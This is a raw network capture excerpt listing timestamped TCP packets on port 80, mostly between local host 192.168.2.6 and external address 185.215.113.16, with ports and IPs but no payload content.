Oct 24, 2024 04:58:10.972783089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972796917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.972842932 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.973213911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.973227024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.973265886 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.973295927 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.000763893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.000802040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.000813007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.000848055 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.012658119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.012681961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.012696028 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.012736082 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.012777090 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.013556004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.013567924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.013577938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.013592005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.013619900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.013653040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.013720989 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.013734102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.013744116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.013781071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.013812065 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.014152050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.014163971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.014184952 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.014218092 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.014247894 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.042963028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.042977095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.042987108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.042999983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.043010950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.043021917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.043025970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.043081045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.043381929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.043392897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.043404102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.043415070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.043426991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.043437958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.043464899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.043615103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.043626070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.043667078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.054548979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.054565907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.054579973 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.054594994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.054636955 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.054692030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.079988003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.080008984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.080023050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.080037117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.080074072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.080086946 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.080147982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.089247942 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089277029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089291096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089303017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089314938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089328051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089343071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.089399099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.089729071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089741945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089754105 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089766979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089788914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.089818954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.089853048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089865923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089878082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.089905977 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.089936018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.091325045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.091336966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.091408968 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.120237112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.120266914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.120281935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.120301962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.120337009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.129815102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.129834890 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.129849911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.129864931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.130191088 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.130762100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.130779982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.130795002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.130810022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.130825043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.130841017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.130888939 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.131103992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.131120920 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.131133080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.131160975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.131217957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.131386995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.131401062 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.131443977 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.162296057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162311077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162317991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162364960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.162393093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162405968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162415981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162426949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162439108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162448883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.162451029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162465096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162470102 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.162475109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.162498951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.162523031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.171871901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.171890020 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.171901941 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.171971083 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.172014952 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.199259996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.199290991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.199306965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.199326038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.199337959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.199352980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.199568987 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.206234932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.206248999 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.206262112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.206346989 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.206398964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.206533909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.206572056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.206583977 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.206594944 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.206593990 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.206607103 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.206621885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.206645966 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.206702948 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.207006931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.207021952 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.207048893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.207070112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.207098961 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.207345009 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.207356930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.207366943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.207421064 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.239439964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.239459038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.239471912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.239525080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.246903896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.246922016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.246933937 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.246993065 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.247039080 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.248047113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.248059034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.248070955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.248081923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.248094082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.248125076 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.248168945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.248327971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.248339891 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.248352051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.248382092 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.248414993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.281541109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.281558037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.281570911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.281583071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.281594992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.281639099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.281697035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.281699896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.281709909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.281722069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.281734943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.281776905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.282110929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.282124996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.282135963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.282270908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.289164066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.289180994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.289195061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.289210081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.289223909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.289268017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.289309978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.318408966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.318425894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.318438053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.318450928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.318484068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.318537951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.318567991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.318579912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.318592072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.318620920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.318639040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.323781967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.323801994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.323817015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.323834896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.323856115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.323862076 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.323868036 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.323880911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.323895931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.323895931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.323924065 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.324302912 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.324316978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.324330091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.324362993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.324398994 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.324841976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.324858904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.324873924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.325011015 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.358887911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.358915091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.358932018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.358961105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.364264011 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.364280939 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.364294052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.364351988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.364437103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.365314960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.365326881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.365339041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.365350962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.365362883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.365386009 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.365420103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.365816116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.365828037 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.365838051 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.365875006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.365906954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.400861979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.400912046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.400927067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.400940895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.400958061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.400966883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.400973082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.401004076 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.401201963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.401246071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.401341915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.401355028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.401392937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.401403904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.401472092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.401482105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.401531935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.406400919 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.406420946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.406446934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.406465054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.406472921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.406472921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.406485081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.406502008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.406503916 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.406502008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.406527042 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.406543970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.406824112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.406840086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.406874895 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.406905890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.437856913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.437901020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.437917948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.437932014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.437947989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.437947989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.437994957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.438003063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.438014984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.438026905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.438066006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.440828085 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.440840960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.440851927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.441005945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.441005945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.441059113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.441071033 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.441082001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.441112995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.441112995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.441157103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.441260099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.441273928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.441286087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.441297054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.441325903 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.441359997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.441838980 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.441848993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.441891909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.455173969 CEST	49995	80	192.168.2.6	185.215.113.37
Oct 24, 2024 04:58:11.478159904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.478177071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.478188992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.478216887 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.481499910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.481514931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.481527090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.481539011 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.481570959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.481606960 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.482415915 CEST	80	49996	185.215.113.16	192.168.2.6
